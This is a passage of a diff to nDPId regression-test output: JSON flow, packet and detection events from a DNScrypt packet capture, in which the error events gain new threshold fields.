01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_src_last_pkt_time":946739348805774,"flow_dst_last_pkt_time":946739348805774,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739348805774,"pkt":"REREREREZmZmZmZmCABFAAIclaZAAL0RCvoKAAABjgTMb6OnAbsCCB1KEX0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":442,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":177,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348805774,"flow_src_last_pkt_time":946739348805774,"flow_dst_last_pkt_time":946739348805774,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348805774,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":41895,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":443,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348805778} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739348805778,"packet_id":443,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348805778} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":443,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739348805774,"pkt":"REREREREZmZmZmZmCABFAABQlaUAub0RTA4KAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":444,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":178,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348805808,"flow_src_last_pkt_time":946739348805808,"flow_dst_last_pkt_time":946739348805808,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348805808,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":46363,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_src_last_pkt_time":946739348805808,"flow_dst_last_pkt_time":946739348805808,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739348805808,"pkt":"REREREREZmZmZmZmCABFAAIcladAAL0RCvkKAAABjgTMb7UbAbsCCB1KEXsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -895,12 +777,12 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":445,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":179,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348805827,"flow_src_last_pkt_time":946739348805827,"flow_dst_last_pkt_time":946739348805827,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348805827,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":57180,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_src_last_pkt_time":946739348805827,"flow_dst_last_pkt_time":946739348805827,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739348805827,"pkt":"REREREREZmZmZmZmCABFAAXclaggAL0RJzgKAAABjgTMb99cAbsGBKBJEX4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":445,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":179,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348805827,"flow_src_last_pkt_time":946739348805827,"flow_dst_last_pkt_time":946739348805827,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348805827,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":57180,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":446,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348805843} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739348805843,"packet_id":446,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348805843} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":446,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739348805827,"pkt":"REREREREZmZmZmZmCABFAABQlagAub0RTAsKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":447,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":180,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348805857,"flow_src_last_pkt_time":946739348805857,"flow_dst_last_pkt_time":946739348805857,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348805857,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":47621,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_src_last_pkt_time":946739348805857,"flow_dst_last_pkt_time":946739348805857,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739348805857,"pkt":"REREREREZmZmZmZmCABFAAXclakgAL0RJzcKAAABjgTMb7oFAbsGBMWkEXoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":447,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":180,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348805857,"flow_src_last_pkt_time":946739348805857,"flow_dst_last_pkt_time":946739348805857,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348805857,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":47621,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":448,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348805876} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739348805876,"packet_id":448,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348805876} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":448,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739348805857,"pkt":"REREREREZmZmZmZmCABFAABQlakAub0RTAoKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00768{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":2,"flow_src_last_pkt_time":946739348805774,"flow_dst_last_pkt_time":946739348912043,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739348912043,"pkt":"ZmZmZmZmRERERERECABFAADWoIMAADQRymOOBMxvCgAAAQG7o6cAwiYzEX2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} 00768{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":2,"flow_src_last_pkt_time":946739348805763,"flow_dst_last_pkt_time":946739348913796,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739348913796,"pkt":"ZmZmZmZmRERERERECABFAADWoIUAADQRymGOBMxvCgAAAQG751gAwuKCEXyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} @@ -923,7 +805,7 @@ 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":457,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":183,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380804529,"flow_src_last_pkt_time":946739380804529,"flow_dst_last_pkt_time":946739380804529,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380804529,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":52056,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01203{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_src_last_pkt_time":946739380804529,"flow_dst_last_pkt_time":946739380804529,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739380804529,"pkt":"REREREREZmZmZmZmCABFAAIc\/YdAAH4Rg9QKAAAB1C\/kiMtYAbsCCHuObeIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":457,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":183,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380804529,"flow_src_last_pkt_time":946739380804529,"flow_dst_last_pkt_time":946739380804529,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380804529,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":52056,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":458,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380804545} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739380804545,"packet_id":458,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380804545} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":458,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739380804529,"pkt":"REREREREZmZmZmZmCABFAABQIEwAuX4RoiMKAAAB1C\/kiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":459,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":184,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380805007,"flow_src_last_pkt_time":946739380805007,"flow_dst_last_pkt_time":946739380805007,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380805007,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":40775,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 